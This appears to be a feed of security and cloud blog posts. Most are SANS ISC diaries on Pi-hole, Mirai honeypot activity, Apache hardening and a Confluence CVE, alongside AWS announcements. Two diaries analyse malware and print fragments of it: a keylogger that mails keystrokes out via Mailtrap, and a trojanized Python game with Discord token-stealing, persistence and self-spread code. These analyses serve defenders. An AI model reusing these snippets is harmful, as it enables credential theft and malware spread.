Pi-Hole Pi4 Docker Deployment, (Sun, Dec 31st)

This post was originally published on this site

During the holiday season, I've tried many different self-hosting solutions. But one of the most basic options is setting up a Pi-Hole DNS for your home. While the installation is pretty easy, I wanted to use docker on my Pi4, which would be an excellent way to get started. Having this as a docker would allow me to quickly redeploy if there was an issue, as DNS is crucial. 


To get started, you must install docker and docker-compose, which is pretty straightforward. Just follow this guide: https://qbee.io/docs/installing-docker-on-a-Raspberry-Pi.html. Also, ensure you have a static IP address set for your Pi. 


I put my docker files in /usr/local/docker, so you must create this folder.

#mkdir /usr/local/docker


We will also map a couple of local directories into the dockers so we can have these configs persistent and easy to backup. 

#mkdir /usr/local/docker/etc-pihole
#mkdir /usr/local/docker/etc-dnsmasq.d

Copy the compose file below to /usr/local/docker/docker-compose.yaml


Compose File Config

We are going to be running 2 dockers for this setup. The Cloudflare docker will be used to send our DNS lookup upstream encrypted using DNS over HTTPS (DOH) to the provider. In the docker-compose file(1), I've specified OpenDNS as primary and one of the Cloudflair filtered as a backup. You can change this to any server you want to use. 


Cloudflared Changes



Pi-Hole Changes

-Set WEBPASSWORD to a unique password for web page login


Once you have the basic config, you need to start the dockers.

#cd /usr/local/docker
#docker-compose up -d


Pi-Hole Web Interface 

Now that you have it up and running, we need to add some blocking. From the left menu click on domains. Then click the RegEx filter tab at the top.  


To block an entire domain of TK, use the following.  



I would review and use most of the domains in the Palo Unit42 write-up of malicious TLDs (2). 


Once done with your regex domains, you want to set up what adlists you want to use. There are many list collections, but Firebog seems the best(3). The main thing is the more you put in there, the slower it could become. 



Once you get everything set up, I'd manually set up a PC to use your Pi-hole as the DNS server for a day or two to ensure everything is working well before you switch over and have a family revolt if something breaks.  


If you are using OpenDNS for lookups, then you can use their test site (4) to test to ensure your DNS queries are encrypted. If you use, you can test on their help page (5) and see if you are encrypted. Most providers have a test page to check to see if its working as intended. 

When you are ready to start taking support calls from the family, you can make the needed changes on your router to start using Pi-hole as your primary DNS server. 


Home router settings

-If you are going to use DHCP on your home router, then you need to set it to give your Pi-hole IP address as the DNS server.  

-If you are going to do DHCP and DNS on the Pi-Hole, you will need to turn off DHCP on your router.



Make sure you backup your config from the GUI at least and save it just in case. 




  1. https://github.com/tcw3bb/ISC_Posts/blob/master/pi-hole-docker-compose.yaml
  2. https://unit42.paloaltonetworks.com/top-level-domains-cybercrime/
  3. https://firebog.net/
  4. https://umbrella.cisco.com/doh-help

I have several more projects in the works to talk about for my home lab.  Let me know what you worked on over the holidays. 

Tom Webb


(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Unveiling the Mirai: Insights into Recent DShield Honeypot Activity [Guest Diary], (Wed, Dec 27th)

This post was originally published on this site

[This is a Guest Diary by Elias Bou Zeid, an ISC intern as part of the SANS.edu BACS program]


In this digital age, as our dependence on technology grows, understanding which devices are connected to our networks and keeping track of their security updates is critically important. In this post, I dig into my instance of the DShield honeypot to see what attack vectors malicious actors are trying to exploit. What I found were several attempts to upload the Mirai family of malware. This finding serves as a stark reminder of the vast amounts of vulnerabilities available in the wild.

Description of Mirai

Mirai, a notorious malware strain, has caused a disruption since its inception. Designed to exploit the security weaknesses in IoT (Internet of Things) devices, it converts these devices into a network of bots, or a 'botnet,' used to launch large-scale network attacks. The fact that malicious actors are still leveraging Mirai is a showcase of Mirai's capabilities and its evolving threat landscape. [1]

Mirai Overview

The method in which Mirai infiltrated numerous IoT devices was through common vulnerabilities, such as weak and default username and password combinations. Once Mirai gains access to a system, it carries out its primary function – to enslave devices and coordinate them for massive Distributed Denial of Service (DDoS) attacks. Mirai’s evasion & persistence mechanisms include but are not limited to the following[2][7]:

  • Rapid Propagation: Once a device is infected, Mirai immediately seeks out new devices to infect.
  • Binary Removal: After successful infection and propagation, Mirai often deletes its binary from the disk to reduce its footprint.
  • Implements persistence mechanisms suitable for various Linux distributions.
  • Memory Residency: Mirai's main persistence method is running in adevice's RAM. Even if its binary is removed from the filesystem, the malware remains active in memory.
  • Watchdog Process: Mirai can initiate a watchdog process to monitor and restart its main process if terminated, maintaining its active presence.
  • Blocking Ports: To prevent re-infection or infection by other competing malware, Mirai often blocks specific ports on the infected device 

    Infection Diagram and Order of Operations [6]

Mirai Botnet Components

  • Command & Control (CNC) server
  • MySQL database server
  • Scan Receiver
  • Loading server (Loader)
  • DNS server
  • Vulnerable IoT devices

Infection Process

1.    Infected IoT device searches for vulnerable IoT devices
2.    Vulnerable device details sent to Scan Receiver
3.    Loader captures vulnerable device's info
4.    Loader uploads malware to vulnerable device
5.    New bot registers with CNC server
6.    New bot retrieves CNC server IP from DNS server

DDoS Attack Process

1.    Attacker sends command from Remote Terminal to CNC server via Telnet (step a)
2.    Command logged in MySQL database (step b)
3.    Attack target forwarded to infected IoT devices (bots) (step c)
4.    Bots send network packet flood to target (step d)

What Devices are Mirai’s Main Target?

The main targets for Mirai are IoT devices (smart speakers, cameras, and smart home connected equipment) that have weak Telnet (port 23) and SSH (port 22) credentials. While the primary targets of Mirai are IoT devices, the elementary tactics it uses (exploiting weak credentials), could probably be applied to other types of systems that share similar vulnerabilities. However, its code and method of operation are specifically tailored for IoT environments. [1][2][3]

Log & PCAP Collection, Will It Help Detect Mirai?

As the somewhat recent adage goes, “Packets or It Didn't Happen” is very applicable in a situation like this. Collecting logs/PCAPs is an important strategy in identifying and monitoring threats against IoT devices. These logs/PCAPs are beneficial in revealing device activities, aiding in the detection of anomalies, unauthorized access, and malware infections like Mirai. 

Some aspects of log monitoring include detecting unauthorized access through the analysis of login attempts, tracking device behavior to spot deviations from baseline, identifying malware activity through unusual network traffic (C2 traffic), and providing an audit trail for forensic analysis in the event of a breach. [5]

Additionally, for some organizations under regulatory scrutiny, log collection not only fulfills compliance mandates but also assists in incident reporting and documentation. This comprehensive approach is essential for maintaining the security and integrity of IoT devices in today’s evolving threat landscape.

Tools such as SiLK and Zeek can help parse large PCAP repositories for analysis.

How To Protect Devices from Mirai

Combating threats like Mirai requires a multi-faceted approach. Key strategies include[2]:

1.    Implementing strong, unique passwords for all IoT devices and changing them regularly.
2.    Limiting remote access capabilities like SSH (Secure Shell) and Telnet to devices, ensuring only necessary connections and devices are allowed.
3.    Regularly updating firmware and software to patch any security vulnerabilities.

Defining the Key Question

This post aims to answer one crucial question: "What strategies can individuals and organizations, which most of whom utilize IoT devices, safeguard themselves against advanced malware attacks such as Mirai?"

The Importance of the Issue

Understanding and preparing for threats like Mirai goes beyond just safeguarding our data; it's about preserving our accustomed lifestyles, and the way we operate. As we continue to integrate digital solutions into the majority of aspects of our lives, the attack vectors of such threats grow, jeopardizing not just individual privacy and security but also corporate and national stability.

Who Stands to Gain and Why?

This information is crucial for a wide range of audiences:

– IT professionals can use these insights to strengthen their organization's defenses against similar attacks.
– Cybersecurity experts will find detailed analysis of Mirai's mechanisms useful for developing more robust security solutions.
– The general public, especially those with IoT devices, can benefit from understanding how to secure their personal devices.

Summing Up

The Mirai malware is a reminder of the continuous and evolving threats in cyberspace. By understanding how such attacks unfold and implementing proper security measures, and log collection and analysis, we can safeguard our digital infrastructures. It is important that we stay informed, vigilant, and proactive in our approach to cyber security.

IOC’s (malware hashes)

Virustotal: 5466d9405031060ffb564f14b5a263eda12e179287ca4a4a7c94501cd6a25c53
Virustotal: b023af46798a045ce9606318928ed9a96bd64bc25c7279a08b5fee38176e5dc9

[1] https://blog.cloudflare.com/inside-mirai-the-infamous-iot-botnet-a-retrospective-analysis/#:~:text=What%E2%80%99s%20remarkable%20about%20these%20record,devices%2C%20according%20to%20our%20measurements
[2] https://www.cisecurity.org/insights/blog/the-mirai-botnet-threats-and-mitigations#:~:text=IoT%20devices%20built%20for%20convenience,3
[3] https://www.securityweek.com/mirai-variant-v3g4-targets-13-vulnerabilities-to-infect-iot-devices/#:~:text=During%20the%20second%20half%20of,devices%20and%20then%20abuses
[5] https://www.stratosphereips.org/datasets-iot23
[4] https://github.com/jgamblin/Mirai-Source-Code
[6] https://www.sciencedirect.com/science/article/pii/S2666281720300214
[7] https://www.cyfirma.com/blogs/mirai-the-botnet-that-made-iot-dangerous/?sfw=pass1701218240
[8] https://www.sans.edu/cyber-security-programs/bachelors-degree/

Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Python Keylogger Using Mailtrap.io, (Sat, Dec 23rd)

This post was originally published on this site

I found another Python keylogger… This is pretty common because Python has plenty of modules to implement this technique in a few lines of code:

from pynput import keyboard
from pynput.keyboard import Listener
keyboard_listener = keyboard.Listener(on_press=self.save_data)
with keyboard_listener:

This is not the most interesting part of the malicious script. When data (key presses) are collected, they must be exfiltrated to the attacker's C2. These days, Discord is very popular. I also found many abused Google Mail accounts.

But, in this case, the attacker used another popular online service: mailtrap.io[1]. This service is "an email sandbox to inspect and debug emails in staging, dev, and QA environments before sending them to recipients in production". You may register a free account and get an environment to get emails for free! Mailtrap will provide an authenticated SMTP server to send them emails. Here is the code from the malicious script:

def send_mail(self, email, password, message):
    sender = "Private Person <from@example.com>"
    receiver = "A Test User <to@example.com>"
    m = f"""
    Subject: main Mailtrap
    To: {receiver}
    From: {sender}

    Keylogger by aydinnyunusn"""

    m += message
    with smtplib.SMTP("smtp.mailtrap.io", 2525) as server:
        server.login(email, password)
        server.sendmail(sender, receiver, message)

Mailtrap accepts emails on the following ports: 25, 465, 587 or 2525. Strangely, the last port was used in the script because there are chances that it will be blocked in corporate environments. Otherwise, it's a nice way to fly below the radar…

Conclusion: another free online service (ab)used by attackers!

Script SHA256: 9f4351340ec0a5f50c5a1a45a6ee6d2ffc66750ad2a2799da82ffac2e00cb88d/ with a VT score of 8/61[2]

[1] https://mailtrap.io
[2] https://www.virustotal.com/gui/file/9f4351340ec0a5f50c5a1a45a6ee6d2ffc66750ad2a2799da82ffac2e00cb88d/detection

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Shall We Play a Game?, (Fri, Dec 22nd)

This post was originally published on this site

Our youngest readers won’t probably not get the point with this quote, it’s from the 1983 movie “WarGames”[1]. I used this subject because I found yesterday a small game in Python that offers not only some fun but also malicious code that will exfiltrate your browser data!

The file is called “Dimension_Lands_10 (1).py” (SHA256: 8b9f750310115110cad2716ab7496344d543dd437e4452c5eafbe11aee28f492).

In a previous diary, I mentioned a malicious Python script based on a Tk interface[3]. It seems to become popular because this new one does the same with a nice window. Compared to the other one, it has a great advantage: it’s a game and will attract more potential victims. People like small games to spend time during meetings.

And the game is properly working!

The attacker did not reinvent the wheel! The game code is available for free[4] on the Internet. Some malicious code has been added to exfiltrate data from Disocrd sessions.

First, persistence is implemented:

    shutil.copyfile(__file__, ROAMING + "MicrosoftWindowsStart MenuProgramsStartupsystem.py")

Then, the malware searches for the following applications:

    "Discord"           : ROAMING + "Discord",
    "Discord Canary"    : ROAMING + "discordcanary",
    "Discord PTB"       : ROAMING + "discordptb",
    "Google Chrome"     : LOCAL + "GoogleChromeUser DataDefault",
    "Opera"             : ROAMING + "Opera SoftwareOpera Stable",
    "Brave"             : LOCAL + "BraveSoftwareBrave-BrowserUser DataDefault",
    "Yandex"            : LOCAL + "YandexYandexBrowserUser DataDefault"

It focuses on LevelDB files:

def gettokens(path):
    path += "Local Storageleveldb"
    tokens = []
    for file_name in os.listdir(path):
        if not file_name.endswith(".log") and not file_name.endswith(".ldb"):
        for line in [x.strip() for x in open(f"{path}{file_name}", errors="ignore").readlines() if x.strip()]:
            for regex in (r"[w-]{24}.[w-]{6}.[w-]{27}", r"mfa.[w-]{84}"):
                for token in findall(regex, line):
    return tokens

What are LevelDBs[4]?

LevelDB is an on-disk key-value store where the keys and values are both arbitrary blobs of data. Each LevelDB database occupies a folder on the file system. The folder will contain some combination of files named “CURRENT”, “LOCK”, “LOG”, “LOG.old” and files named “MANIFEST-######”, “######.log” and “######.ldb” where ###### is a hexadecimal number showing the sequence of file creation (higher values are more recent). The “.log” and “.ldb” files contain the actual record data; the other files contain metadata to assist in reading the data in an efficient manner.

The regex in the code is used to search for saved sessions:

r"[w-]{24}.[w-]{6}.[w-]{27}", r"mfa.[w-]{84}"

If sessions are found, the script connects to Discord to retrieve the victim's data:

def getuserdata(token):
        return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me", headers=getheaders(token))).read().decode())

The following data are processed:

username = user_data["username"] + "#" + str(user_data["discriminator"])
user_id = user_data["id"]
avatar_id = user_data["avatar"]
avatar_url = getavatar(user_id, avatar_id)
email = user_data.get("email")
phone = user_data.get("phone")
password = user_data.get("password")
nitro = bool(user_data.get("premium_type"))
billing = bool(has_payment_methods(token))

Irony, all details are exfiltrated to… Discord too!

The last interesting finding is a self-spread feature. It will send itself to newly compromised Discord users/sessions:

if self_spread:
    for token in working:
        with open(argv[0], encoding="utf-8") as file:
        content = file.read()
        payload = f'-----------------------------325414537030329320151394843687nContent-Disposition: form-data; name="file"; filename="{__file__}"nContent-Type: text/plainnn{content}n-----------------------------325414537030329320151394843687nContent-Disposition: form-data; name="content"nnserver crasher. python download: https://www.python.org/downloadsn-----------------------------325414537030329320151394843687nContent-Disposition: form-data; name="tts"nnfalsen-----------------------------325414537030329320151394843687--'
        Thread(target=spread, args=(token, payload, 7500 / 1000)).start()

But, in the version I discovered, it was disabled. For debugging purposes?

def spread(token, form_data, delay):
    return # Remove to re-enabled
    for friend in getfriends(token):
            chat_id = getchat(token, friend["id"])
            send_message(token, chat_id, form_data)
        except Exception as e:

Conclusion: Be careful with scripts that promise to be a game or a funny app. They may deliver more "fun" then expected!

[1] https://www.imdb.com/title/tt0086567/
[2] https://www.virustotal.com/gui/file/8b9f750310115110cad2716ab7496344d543dd437e4452c5eafbe11aee28f492/details
[3] https://isc.sans.edu/diary/Malicious+Python+Script+with+a+TCLTK+GUI/30478
[4] https://pythondex.com/bouncing-ball-game-in-python
[5] https://www.cclsolutionsgroup.com/post/hang-on-thats-not-sqlite-chrome-electron-and-leveldb

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Your MySQL 5.7 and PostgreSQL 11 databases will be automatically enrolled into Amazon RDS Extended Support

This post was originally published on this site

Today, we are announcing that your MySQL 5.7 and PostgreSQL 11 database instances running on Amazon Aurora and Amazon Relational Database Service (Amazon RDS) will be automatically enrolled into Amazon RDS Extended Support starting on February 29, 2024.

This will help avoid unplanned downtime and compatibility issues that can arise with automatically upgrading to a new major version. This provides you with more control over when you want to upgrade the major version of your database.

This automatic enrollment may mean that you will experience higher charges when RDS Extended Support begins. You can avoid these charges by upgrading your database to a newer DB version before the start of RDS Extended Support.

What is Amazon RDS Extended Support?
In September 2023, we announced Amazon RDS Extended Support, which allows you to continue running your database on a major engine version past its RDS end of standard support date on Amazon Aurora or Amazon RDS at an additional cost.

Until community end of life (EoL), the MySQL and PostgreSQL open source communities manage common vulnerabilities and exposures (CVE) identification, patch generation, and bug fixes for the respective engines. The communities release a new minor version every quarter containing these security patches and bug fixes until the database major version reaches community end of life. After the community end of life date, CVE patches or bug fixes are no longer available and the community considers those engines unsupported. For example, MySQL 5.7 and PostgreSQL 11 are no longer supported by the communities as of October and November 2023 respectively. We are grateful to the communities for their continued support of these major versions and a transparent process and timeline for transitioning to the newest major version.

With RDS Extended Support, Amazon Aurora and RDS takes on engineering the critical CVE patches and bug fixes for up to three years beyond a major version’s community EoL. For those 3 years, Amazon Aurora and RDS will work to identify CVEs and bugs in the engine, generate patches and release them to you as quickly as possible. Under RDS Extended Support, we will continue to offer support, such that the open source community’s end of support for an engine’s major version does not leave your applications exposed to critical security vulnerabilities or unresolved bugs.

You might wonder why we are charging for RDS Extended Support rather than providing it as part of the RDS service. It’s because the engineering work for maintaining security and functionality of community EoL engines requires AWS to invest developer resources for critical CVE patches and bug fixes. This is why RDS Extended Support is only charging customers who need the additional flexibility to stay on a version past community EoL.

RDS Extended Support may be useful to help you meet your business requirements for your applications if you have particular dependencies on a specific MySQL or PostgreSQL major version, such as compatibility with certain plugins or custom features. If you are currently running on-premises database servers or self-managed Amazon Elastic Compute Cloud (Amazon EC2) instances, you can migrate to Amazon Aurora MySQL-Compatible Edition, Amazon Aurora PostgreSQL-Compatible Edition, Amazon RDS for MySQL, Amazon RDS for PostgreSQL beyond the community EoL date, and continue to use these versions these versions with RDS Extended Support while benefiting from a managed service. If you need to migrate many databases, you can also utilize RDS Extended Support to split your migration into phases, ensuring a smooth transition without overwhelming IT resources.

In 2024, RDS Extended Support will be available for RDS for MySQL major versions 5.7 and higher, RDS for PostgreSQL major versions 11 and higher, Aurora MySQL-compatible version 2 and higher, and Aurora PostgreSQL-compatible version 11 and higher. For a list of all future supported versions, see Supported MySQL major versions on Amazon RDS and Amazon Aurora major versions in the AWS documentation.

Community major version RDS/Aurora version Community end of life date End of RDS standard support date Start of RDS Extended Support pricing End of RDS Extended Support
MySQL 5.7 RDS for MySQL 5.7 October 2023 February 29, 2024 March 1, 2024 February 28, 2027
Aurora MySQL 2 October 31, 2024 December 1, 2024
PostgreSQL 11 RDS for PostgreSQL 11 November 2023 March 31, 2024 April 1, 2024 March 31, 2027
Aurora PostgreSQL 11 February 29, 2024

RDS Extended Support is priced per vCPU per hour. Learn more about pricing details and timelines for RDS Extended Support at Amazon Aurora pricing, RDS for MySQL pricing, and RDS for PostgreSQL pricing. For more information, see the blog posts about Amazon RDS Extended Support for MySQL and PostgreSQL databases in the AWS Database Blog.

Why are we automatically enrolling all databases to Amazon RDS Extended Support?
We had originally informed you that RDS Extended Support would provide the opt-in APIs and console features in December 2023. In that announcement, we said that if you decided not to opt your database in to RDS Extended Support, it would automatically upgrade to a newer engine version starting on March 1, 2024. For example, you would be upgraded from Aurora MySQL 2 or RDS for MySQL 5.7 to Aurora MySQL 3 or RDS for MySQL 8.0 and from Aurora PostgreSQL 11 or RDS for PostgreSQL 11 to Aurora PostgreSQL 15 and RDS for PostgreSQL 15, respectively.

However, we heard lots of feedback from customers that these automatic upgrades may cause their applications to experience breaking changes and other unpredictable behavior between major versions of community DB engines. For example, an unplanned major version upgrade could introduce compatibility issues or downtime if applications are not ready for MySQL 8.0 or PostgreSQL 15.

Automatic enrollment in RDS Extended Support gives you additional time and more control to organize, plan, and test your database upgrades on your own timeline, providing you flexibility on when to transition to new major versions while continuing to receive critical security and bug fixes from AWS.

If you’re worried about increased costs due to automatic enrollment in RDS Extended Support, you can avoid RDS Extended Support and associated charges by upgrading before the end of RDS standard support.

How to upgrade your database to avoid RDS Extended Support charges
Although RDS Extended Support helps you schedule your upgrade on your own timeline, sticking with older versions indefinitely means missing out on the best price-performance for your database workload and incurring additional costs from RDS Extended Support.

MySQL 8.0 on Aurora MySQL, also known as Aurora MySQL 3, unlocks support for popular Aurora features, such as Global Database, Amazon RDS Proxy, Performance Insights, Parallel Query, and Serverless v2 deployments. Upgrading to RDS for MySQL 8.0 provides features including up to three times higher performance versus MySQL 5.7, such as Multi-AZ cluster deployments, Optimized Reads, Optimized Writes, and support for AWS Graviton2 and Graviton3-based instances.

PostgreSQL 15 on Aurora PostgreSQL supports the Aurora I/O Optimized configuration, Aurora Serverless v2, Babelfish for Aurora PostgreSQL, pgvector extension, Trusted Language Extensions for PostgreSQL (TLE), and AWS Graviton3-based instances as well as community enhancements. Upgrading to RDS for PostgreSQL 15 provides features such as Multi-AZ DB cluster deployments, RDS Optimized Reads, HypoPG extension, pgvector extension, TLEs for PostgreSQL, and AWS Graviton3-based instances.

Major version upgrades may make database changes that are not backward-compatible with existing applications. You should manually modify your database instance to upgrade to the major version. It is strongly recommended that you thoroughly test any major version upgrade on non-production instances before applying it to production to ensure compatibility with your applications. For more information about an in-place upgrade from MySQL 5.7 to 8.0, see the incompatibilities between the two versions, Aurora MySQL in-place major version upgrade, and RDS for MySQL upgrades in the AWS documentation. For the in-place upgrade from PostgreSQL 11 to 15, you can use the pg_upgrade method.

To minimize downtime during upgrades, we recommend using Fully Managed Blue/Green Deployments in Amazon Aurora and Amazon RDS. With just a few steps, you can use Amazon RDS Blue/Green Deployments to create a separate, synchronized, fully managed staging environment that mirrors the production environment. This involves launching a parallel green environment with upper version replicas of your production databases lower version. After validating the green environment, you can shift traffic over to it. Then, the blue environment can be decommissioned. To learn more, see Blue/Green Deployments for Aurora MySQL and Aurora PostgreSQL or Blue/Green Deployments for RDS for MySQL and RDS for PostgreSQL in the AWS documentation. In most cases, Blue/Green Deployments are the best option to reduce downtime, except for limited cases in Amazon Aurora or Amazon RDS.

For more information on performing a major version upgrade in each DB engine, see the following guides in the AWS documentation.

Now available
Amazon RDS Extended Support is now available for all customers running Amazon Aurora and Amazon RDS instances using MySQL 5.7, PostgreSQL 11, and higher major versions in AWS Regions, including the AWS GovCloud (US) Regions beyond the end of the standard support date in 2024. You don’t need to opt in to RDS Extended Support, and you get the flexibility to upgrade your databases and continued support for up to 3 years.

Learn more about RDS Extended Support in the Amazon Aurora User Guide and the Amazon RDS User Guide. For pricing details and timelines for RDS Extended Support, see Amazon Aurora pricing, RDS for MySQL pricing, and RDS for PostgreSQL pricing.

Please send feedback to AWS re:Post for Amazon RDS and Amazon Aurora or through your usual AWS Support contacts.


How to Protect your Webserver from Directory Enumeration Attack ? Apache2 [Guest Diary], (Wed, Dec 20th)

This post was originally published on this site

[This is a Guest Diary by David Thomson, an ISC intern as part of the SANS.edu BACS program]

This post is correlated with my attack observation 04, which details an interesting series of directory requests to the dshield honeypot system. The attack is categorized as Network Service Discovery from the MITRE | ATT&CK Framework. 

In this attack we observe a series of directory requests to Honeypot. The directory requests include a series of different words in the first sub-directory.

For the purpose of this blog post, I installed apache2 on a Ubuntu server machine. 

Get Ubuntu Server | Download | Ubuntu
How To Install the Apache Web Server on Ubuntu 20.04 | DigitalOcean

This blog post will analyze the attack and go through how to protect an apache2 system. 

Below is a snippet of the logs generated from this attack, which took place on 11/18/2023:

In the URL category we observe a series of http requests, arbiter, corsair among others. These are the requests from the attack in the hopes of gathering information that would potentially be stored in these locations. This is the same as requesting any directory from a site. An example would be requesting the robots.txt file, see the following example: 

In the image above by manually appending robots.txt to the VirusTotal URI I’ve essentially sent an http request for /robots.txt. In this case the information stored here is intentional and meant to inform webcrawlers what directories and files they should ignore. The potential problem with this attack is what if you have something stored that clients should not be able to access but they can? Examples include configuration files, files with PII information, the options are limitless. 

So how do we protect ourselves against incorrectly allowing end users access to directories and files they should not have access to? 

Well by default Ubuntu has already locked down web browser access to the /var/www directory. When setting up the Apache server the default file located in this directory is the index.html, which if you read the documentation is just for testing purposes and should be replaced after the test is completed. I have added another file that I don’t want users to see but I left it unprotected! Let’s look:

Here is the added file:

Here is what happens when an end user requests this document:

Now how to prevent this type of activity? 

One method is to utilize the .htaccess file. First, we create this file in the directory where the file is located: 

Then we edit the file and add the following information:

<Files "filename">
  Order Allow,Deny
  Deny from all

Now we test to see if it worked:

Success! The only thing that’s left is to expand this to any files you are trying to protect. Additionally, the method above restricts access to the file for all users, however this file can be edited to include permissions so only certain users have access by appending the following statement:

Allow from userA userB

Finally let’s speak about WAF or Web Application Firewalls. These are another top-notch option to protect your webserver, key word “web”. They protect your web applications by filtering, monitoring, and blocking packets outbound and inbound.  One option for WAF is ModSecurity. ModSecurity is an open-source Apache module designed to help protect your Apache webserver against many attacks just like the ones observed above!

Installation is relatively easy:

Download the module:

Enable the ModSecurity module:

Always make sure to restart services:

Next up, just like with any service we have a .conf file or configuration file that allows customization. The default conf file is located: /etc/modsecurity/modsecurity.conf it looks like this:

However, there is also a configured conf file already at /etc/modsecurity/modsecurity.conf-recommended. You can mv it to enable the file by using the following command:

sudo mv /etc/modsecurity/modsecurity.conf-recommended /etc/modsecurity/modsecurity.conf

Here is what the new configuration file looks like:

More information can be found here: OWASP ModSecurity Core Rule Set | OWASP Foundation

[1] https://ubuntu.com/download/server
[2] https://www.digitalocean.com/community/tutorials/how-to-install-the-apache-web-server-on-ubuntu-20-04
[3] https://owasp.org/www-project-modsecurity-core-rule-set/
[4] https://www.sans.edu/cyber-security-programs/bachelors-degree/

Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

DNS over HTTPS is now available in Amazon Route 53 Resolver

This post was originally published on this site

Starting today, Amazon Route 53 Resolver supports using the DNS over HTTPS (DoH) protocol for both inbound and outbound Resolver endpoints. As the name suggests, DoH supports HTTP or HTTP/2 over TLS to encrypt the data exchanged for Domain Name System (DNS) resolutions.

Using TLS encryption, DoH increases privacy and security by preventing eavesdropping and manipulation of DNS data as it is exchanged between a DoH client and the DoH-based DNS resolver.

This helps you implement a zero-trust architecture where no actor, system, network, or service operating outside or within your security perimeter is trusted and all network traffic is encrypted. Using DoH also helps follow recommendations such as those described in this memorandum of the US Office of Management and Budget (OMB).

DNS over HTTPS support in Amazon Route 53 Resolver
You can use Amazon Route 53 Resolver to resolve DNS queries in hybrid cloud environments. For example, it allows AWS services access for DNS requests from anywhere within your hybrid network. To do so, you can set up inbound and outbound Resolver endpoints:

  • Inbound Resolver endpoints allow DNS queries to your VPC from your on-premises network or another VPC.Amazon Route 53 Resolver inbound endpoint architecture.
  • Outbound Resolver endpoints allow DNS queries from your VPC to your on-premises network or another VPC.Amazon Route 53 Resolver outbound endpoint architecture.

After you configure the Resolver endpoints, you can set up rules that specify the name of the domains for which you want to forward DNS queries from your VPC to an on-premises DNS resolver (outbound) and from on-premises to your VPC (inbound).

Now, when you create or update an inbound or outbound Resolver endpoint, you can specify which protocols to use:

  • DNS over port 53 (Do53), which is using either UDP or TCP to send the packets.
  • DNS over HTTPS (DoH), which is using TLS to encrypt the data.
  • Both, depending on which one is used by the DNS client.
  • For FIPS compliance, there is a specific implementation (DoH-FIPS) for inbound endpoints.

Let’s see how this works in practice.

Using DNS over HTTPS with Amazon Route 53 Resolver
In the Route 53 console, I choose Inbound endpoints from the Resolver section of the navigation pane. There, I choose Create inbound endpoint.

I enter a name for the endpoint, select the VPC, the security group, and the endpoint type (IPv4, IPv6, or dual-stack). To allow using both encrypted and unencrypted DNS resolutions, I select Do53, DoH, and DoH-FIPS in the Protocols for this endpoint option.

Console screenshot.

After that, I configure the IP addresses for DNS queries. I select two Availability Zones and, for each, a subnet. For this setup, I use the option to have the IP addresses automatically selected from those available in the subnet.

After I complete the creation of the inbound endpoint, I configure the DNS server in my network to forward requests for the amazonaws.com domain (used by AWS service endpoints) to the inbound endpoint IP addresses.

Similarly, I create an outbound Resolver endpoint and and select both Do53 and DoH as protocols. Then, I create forwarding rules that tell for which domains the outbound Resolver endpoint should forward requests to the DNS servers in my network.

Now, when the DNS clients in my hybrid environment use DNS over HTTPS in their requests, DNS resolutions are encrypted. Optionally, I can enforce encryption and select only DoH in the configuration of inbound and outbound endpoints.

Things to know
DNS over HTTPS support for Amazon Route 53 Resolver is available today in all AWS Regions where Route 53 Resolver is offered, including GovCloud Regions and Regions based in China.

DNS over port 53 continues to be the default for inbound or outbound Resolver endpoints. In this way, you don’t need to update your existing automation tooling unless you want to adopt DNS over HTTPS.

There is no additional cost for using DNS over HTTPS with Resolver endpoints. For more information, see Route 53 pricing.

Start using DNS over HTTPS with Amazon Route 53 Resolver to increase privacy and security for your hybrid cloud environments.


Increase in Exploit Attempts for Atlassian Confluence Server (CVE-2023-22518), (Wed, Dec 20th)

This post was originally published on this site

Today, exploit attempts for %%cve:2023-22518%% cross the "significant" threshold for our "First Seen URLs" list. The URL being accessed, "/json/setup-restore.action?synchronous=true", can be used to bypass authentication [1]. Due to a failure to properly control access to this path, the attacker can execute the "setup-restore" feature, which restores the database using attacker-supplied data and can lead to system command execution.

AWS India customers can now save card information for monthly AWS billing

This post was originally published on this site

Today, AWS India customers can now securely save their credit or debit cards in their AWS accounts according to the Reserve Bank of India (RBI) guidelines. Customers can use their saved cards to make payments for their AWS invoices.

Previously, customers needed to manually enter their card information in the payments console for each payment. Now they can save their cards in their accounts by providing consent, according to RBI guidelines. Customers can save their cards when they sign up for AWS, through the payment console by adding a card in payment preferences, or while making a payment for an invoice.

Getting started with saving your cards for billing
To get started, go to Payment preferences in the AWS Billing and Cost Management console. Choose Add Payment method to add debit or credit card payment.

Enable the Credit or debit card option and input the card details and billing address. You also need to provide consent by selecting the checkbox Save card information for faster future payments.

You will be redirected to your bank website to verify the card information. After authentication, AWS India will store the card token securely for future payments. You can also save the card information when signing up for AWS or paying an existing invoice.

To learn more, see Managing your payments in India in the AWS Billing documentation.

Now available
This feature is available now for all customers using debit and credit cards issued in India with AWS India as their seller of record. There is no impact on cards issued outside of India, and you can continue to save and use these cards as you do today.

You can choose whether to save your cards. However, we recommend that you do so because it will ensure your purchase and payment experience remains as seamless as before.

Give it a try now and send feedback through your usual AWS Support contacts.


#StopRansomware: ALPHV Blackcat

This post was originally published on this site


Note: This joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources.

The Federal Bureau of Investigation (FBI) and the Cybersecurity and Infrastructure Security Agency (CISA) are releasing this joint CSA to disseminate known IOCs and TTPs associated with the ALPHV Blackcat ransomware as a service (RaaS) identified through FBI investigations as recently as Dec. 6, 2023.

